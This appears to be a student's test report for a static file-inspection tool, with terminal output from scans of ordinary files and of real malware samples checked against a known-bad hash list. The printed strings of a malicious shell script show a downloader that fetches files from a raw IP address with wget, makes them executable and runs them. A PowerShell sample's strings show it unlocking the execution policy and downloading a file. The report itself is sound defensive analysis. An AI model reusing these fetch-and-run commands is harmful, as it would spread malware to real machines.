

Automated Test Script Results

```

taro@Taro: /mnt/c/Users/natha$ ./tests/run_tests.sh
Building...
PASS T1 clean text file
PASS T2 missing file
PASS T3 unknown option
PASS T4 missing hash list
PASS T5 empty file
PASS T6 renamed executable
PASS T7 high entropy
PASS T8 IOC extraction
PASS T9 hash-list match
PASS T10 SHA-256 matches system shasum

Results: 10 passed, 0 failed
taro@Taro: /mnt/c/Users/natha/cysec/assignments/simple-file-inspector$ |

```

Manual Test Results

Test 1: Real-world files

Windows executable (IP detection is false positive because Windows UI version number is in a correct IPv4 format.)

```

taro@Taro: /mnt/c/Users/natha$ ./fileinspect ../natha/Downloads/AutoClicker-3.0.exe

Simple File Inspector

----- Identity -----
Path      ../natha/Downloads/AutoClicker-3.0.exe
Size      884317 bytes
SHA-256    2e67d5e7d96aec62a9dda4c0259167a44988af863c2b3af2a01972385abba9e
Type (magic) PE executable (MZ)
Extension  .exe (matches content)

----- Content signals -----
Entropy    6.9988 bits/byte (normal range)
Embedded sigs [!] 76 hit(s) past the header
- PE executable (MZ)          x64 first at offset 87677
- ZIP archive                 x64 first at offset 14032
note: 2-byte signatures (MZ, GZIP) can match by
chance - a hint to look closer, not proof

----- Strings -----
9834 printable string(s) of length >= 4 (showing first 10)
77  [This program cannot be run in DOS mode.]
248  Richi
526  .text
559  .data
599  @.data
648  .rsrc
1121 F553
1291 r8;=
1311 RPMS
1489 nhm
... and 9824 more

----- IOCs -----
1 IPv4 address(es), 0 URL(s)
652383 IPv4 6.0.0.0

----- Risk summary (weight of evidence) -----
[+] Network IOCs present (1 IPv4, 0 URL)
[0] 2-byte signature hit(s) past the header (76) - possible
chance matches, not scored

Verdict: WORTH A LOOK (score 1)
taro@Taro: /mnt/c/Users/natha/cysec/assignments/simple-file-inspector$ strings -t d ../natha/Downloads/AutoClicker-3.0.exe | grep "6\.\0\.\0"
652296 <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64140ccf1df"></assemblyIdentity>
taro@Taro: /mnt/c/Users/natha/cysec/assignments/simple-file-inspector$

```

PDF (Expected output)

```

taro@Taro:/mnt/c/Users/natha$ ./fileinspect ../natha/Downloads/transcript.pdf

----- Identity -----
Path      ../natha/Downloads/transcript.pdf
Size      298481 bytes
SHA-256   a69d888c76bb4295a3df64b85ffa7cc81373431e64775f32ad8ad0f0f874d9b7
Type (magic) PDF document
Extension .pdf (matches content)

----- Content signals -----
Entropy   7.2266 bits/byte [1] high (> 7.2) - possibly packed or encrypted
Embedded sigs [1] 9 hit(s) past the header
- PE executable (MZ)      x5 first at offset 25794
- JPEG image             x1 first at offset 36148
- GZIP archive            x3 first at offset 39890
note: 2-byte signatures (MZ, GZIP) can match by
chance - a hint to look closer, not proof

----- Strings -----
3401 printable string(s) of length >= 4 (showing first 10)
0  %PDF-1.5
16 115 0 obj
26 <</Linearized 1/L 128132/O 117/E 121893/N 1/T 127812/H [ 603 233]>>
94 endobj
101
116 162 0 obj
126 <</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<1D99678DE6E2794C9CE7AE80F713867B><27E1121D715169458C7178035998E20E>]/Index[115 77]/Info 114 0 R/Length 178/Prev 127813/Root 116 0 R
/Size 192/Type/XRef/W[1 3 1]>>stream
362 bdb
367 b'5
390 l'g$
... and 3401 more

----- IOCs -----
0 IPv4 address(es), 6 URL(s)
123678 URL http://www.w3.org/1999/02/22-rdf-syntax-ns#
123783 URL http://ns.adobe.com/xap/1.0/
123838 URL http://ns.adobe.com/xap/1.0/mm/
123893 URL http://purl.org/ct/events/1.1/
123958 URL http://ns.adobe.com/pdf/1.3/
124004 URL http://ns.adobe.com/pdfx/1.3/

----- Risk summary (weight of evidence) -----
[+1] High entropy: 7.2266 bits/byte - possibly packed or encrypted
[+1] Embedded signature(s) past the header (1 reliable hit(s))
[-1] Network IOCs present (0 IPv4, 6 URL)

Verdict: SUSPICIOUS (score 3)
taro@Taro:/mnt/c/Users/natha/cysec/assignments/simple-file-inspector$

```

ZIP (Expected output)

```

taro@Taro:/mnt/c/Users/natha$ ./fileinspect ../natha/cs.zip

----- Identity -----
Path      ../natha/cs.zip
Size      27844044 bytes
SHA-256   3ef2bclaf7b712686758f72d1492c59f5be45048dafbc6b2f48e1d9e0d0e0b7
Type (magic) ZIP archive / Office document
Extension .zip (matches content)

----- Content signals -----
Entropy   7.9896 bits/byte [1] high (> 7.2) - possibly packed or encrypted
Embedded sigs [1] 875 hit(s) past the header
- PE executable (MZ)      x381 first at offset 42427
- JPEG image             x5 first at offset 5098943
- GZIP archive            x489 first at offset 17942
note: 2-byte signatures (MZ, GZIP) can match by
chance - a hint to look closer, not proof

----- Strings -----
293953 printable string(s) of length >= 4 (showing first 10)
30 cs-x86_64-pc-win32.exeUT
92 L5 J
118 QA'A!
146 ==GX
176 [[5-
356 W<C
372 $KCh
535 cgPC|
549 ^{56
575 y'dc
... and 293943 more

----- IOCs -----
none found

----- Risk summary (weight of evidence) -----
[+1] High entropy: 7.9896 bits/byte - possibly packed or encrypted
[+1] Embedded signature(s) past the header (5 reliable hit(s))

Verdict: SUSPICIOUS (score 2)
taro@Taro:/mnt/c/Users/natha/cysec/assignments/simple-file-inspector$

```

Test 2: Real malware files

Mirai (hash list matched + 829 Ips were detected)

```

root@kali:~/Desktop/projects/simple-file-inspector
./fileinspect --hashlist ./tests/full-hash-sha256-aa.txt ../Downloads/7f163d45fef16ddfc392d08467fbc4e661666921a70ff4e57dc28f066ec4982b.elf

Simple File Inspector

Identity
Path: ../Downloads/7f163d45fef16ddfc392d08467fbc4e661666921a70ff4e57dc28f066ec4982b.elf
Size: 249160 bytes
SHA-256: 7f163d45fef16ddfc392d08467fbc4e661666921a70ff4e57dc28f066ec4982b
Hash list: [!] MATCH - known-bad hash (./tests/full-hash-sha256-aa.txt)
Type (magic): ELF executable
Extension: .elf

Content signals
Entropy: 5.4331 bits/byte (normal range)
Embedded sigs: [!] 1 hit(s) past the header
               - JPEG image                                x1 first at offset 221167

Strings
1721 printable string(s) of length >= 4 (showing first 10)
1767 $!@#
1798 361(
1947 $! @
4083 8!8"
4543 1+PD
4594 F$!(
4637 R'8!
4649 c8$
4765 18$
4963 $!X
... and 1711 more

IOCs
829 IPv4 address(es), 0 URL(s)
196268 IPv4 172.69.33.91
196284 IPv4 172.68.238.123
196300 IPv4 172.68.144.30
196316 IPv4 172.68.110.60
196332 IPv4 104.24.0.20
196344 IPv4 172.68.132.5
196360 IPv4 172.68.167.66
196376 IPv4 172.68.132.41
196392 IPv4 172.68.144.29
196408 IPv4 172.69.182.111
196424 IPv4 172.67.96.95
196440 IPv4 172.70.34.86
196456 IPv4 172.69.55.41
196472 IPv4 172.68.110.120
196488 IPv4 162.158.23.40
196504 IPv4 104.26.10.89
196520 IPv4 162.158.30.39
196536 IPv4 162.158.7.100
196552 IPv4 162.158.222.37
196568 IPv4 162.158.118.63
... and 809 more (showing first 20)

Risk summary (weight of evidence)
[+2] SHA-256 present in known-bad hash list
[+1] Embedded signature(s) past the header (1 reliable hit(s))
[+1] Network IOCs present (829 IPv4, 0 URL)

Verdict: SUSPICIOUS (score 4)

```

PS1 (hash list matched + 1 malicious URL was detected)

```
(root@kali) ~/home/kali/Desktop/projects/simple-file-inspector
./fileinspect --hashlist ./tests/full-hash-sha256-aa.txt ../ ../Downloads/59b5e489e93dc76efb705b4ace28efd506c464eda2a2e0591023c0330b5e633f.ps1
```

Simple File Inspector

```

--- Identity ---
Path      ../ ../Downloads/59b5e489e93dc76efb705b4ace28efd506c464eda2a2e0591023c0330b5e633f.ps1
Size      11356 bytes
SHA-256   59b5e489e93dc76efb705b4ace28efd506c464eda2a2e0591023c0330b5e633f
Hash list [!] MATCH - known-bad hash (./tests/full-hash-sha256-aa.txt)
Type (magic) unknown
Extension .ps1

--- Content signals ---
Entropy   4.3347 bits/byte (normal range)
Embedded sigs none past the header

--- Strings ---
42 printable string(s) of length ≥ 4 (showing first 10)
0 try {
7 # Set execution policy to unrestricted for the process scope if needed
83 if ((Get-ExecutionPolicy Process) -ne 'Unrestricted') {
144     Set-ExecutionPolicy Unrestricted -Scope Process -Force
208 }
217 # Download dummy file to Downloads folder
264 $p = "$env:USERPROFILE\Downloads\Document.pdf"
316 iwr 'http://www.google.com' -OutFile $p -EA Stop
370 ii $p
381 } catch { Write-Error $_.Exception.Message }
... and 32 more

--- IOCs ---
0 IPv4 address(es), 2 URL(s)
325 URL http://www.google.com
10847 URL https://cpazev00008june26.blogspot.com/

--- Risk summary (weight of evidence) ---
[+2] SHA-256 present in known-bad hash list
[+1] Network IOCs present (0 IPv4, 2 URL)

Verdict: SUSPICIOUS (score 3)
```

SH (hash list matched + 1 malicious URL was detected)

```
(root@kali) ~/home/kali/Desktop/projects/simple-file-inspector
./fileinspect --hashlist ./tests/full-hash-sha256-aa.txt ../ ../Downloads/2d9945bba8207d419dca32e5c2ecc821f3eedd5c48bc1ebfe754133c56a17828.sh
```

Simple File Inspector

```

--- Identity ---
Path      ../ ../Downloads/2d9945bba8207d419dca32e5c2ecc821f3eedd5c48bc1ebfe754133c56a17828.sh
Size      266 bytes
SHA-256   2d9945bba8207d419dca32e5c2ecc821f3eedd5c48bc1ebfe754133c56a17828
Hash list [!] MATCH - known-bad hash (./tests/full-hash-sha256-aa.txt)
Type (magic) unknown
Extension .sh

--- Content signals ---
Entropy   5.1059 bits/byte (normal range)
Embedded sigs none past the header

--- Strings ---
15 printable string(s) of length ≥ 4 (showing first 10)
0 #!/bin/sh
10 n="AAKT XNQF RUJY UVZH OSAZ LBIK SYOX BHJR YCGP APEA JCDE JCSR IHCD VUUH JVTP VAZN"
94 if [ $# -gt 0 ]; then
116     n=$@
128 cd /tmp
136 for a in $n
151     rm $a
161     wget http://216.107.139.197/$a
196     chmod +x $a
212     ./ $a
... and 5 more

--- IOCs ---
1 IPv4 address(es), 1 URL(s)
177 IPv4 216.107.139.197
170 URL http://216.107.139.197/$a

--- Risk summary (weight of evidence) ---
[+2] SHA-256 present in known-bad hash list
[+1] Network IOCs present (1 IPv4, 1 URL)

Verdict: SUSPICIOUS (score 3)
```

Test 3: Web UI

